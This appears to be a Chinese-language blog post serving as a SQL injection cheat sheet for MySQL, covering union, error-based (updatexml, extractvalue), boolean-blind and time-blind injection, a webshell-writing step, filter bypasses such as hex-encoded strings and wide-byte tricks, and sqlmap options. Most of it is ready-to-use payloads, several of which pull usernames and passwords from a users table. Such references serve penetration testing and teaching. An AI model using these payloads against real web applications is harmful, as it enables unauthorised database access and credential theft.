SQL注入常见利用姿势
数据查询SQL语句
1 | select group_concat(schema_name) from information_schema.schemata -- 查询所有数据库 |
联合注入(Union注入)
查询所有数据库
1 | id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata -- |
写Webshell
1 | union select 1,2,@@datadir -- 获取数据库路径,可猜测网站物理路径 |
报错注入
updatexml()
函数说明
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
1 | -- 1 确定闭合方式,闭合前面的单引号和括号,让updatexml被mysql识别成函数 |
extractvalue()
突破报错函数字符限制
报错内容长度不会超过32个字符
limit 分页解决
substr()截取字符解决
1 | or updatexml(1, concat(0x7e, (substr((select group_concat(schema_name) from information_schema.schemata),1,31)),0x7e) ,1) |
布尔盲注
binary 按ASCII码值比较——比较字符时比较大小写
1 | id=admin' and binary mid((select group_concat(username, '~', password) from users),1,1) = 'D' -- |
时间盲注
1 | id=1 and if(mid((select group_concat(username, '~', password) from users),1,1) = 'D',sleep(4),1) --+ |
绕过
空格
注释符绕过
%0a绕过
括号绕过
有回显报错信息的情况下,可采用不适用空格的报错注入,payload如下
1 | -- 测试是否存在 |
引号
采用16进制绕过,包括不限于在Where处,函数参数位置
eg:
1 | select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 -- 十六进制为users |
关键字
宽字节绕过
sqlmap常用选项
1 | --technique=E # 选择报错注入 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 lrui1!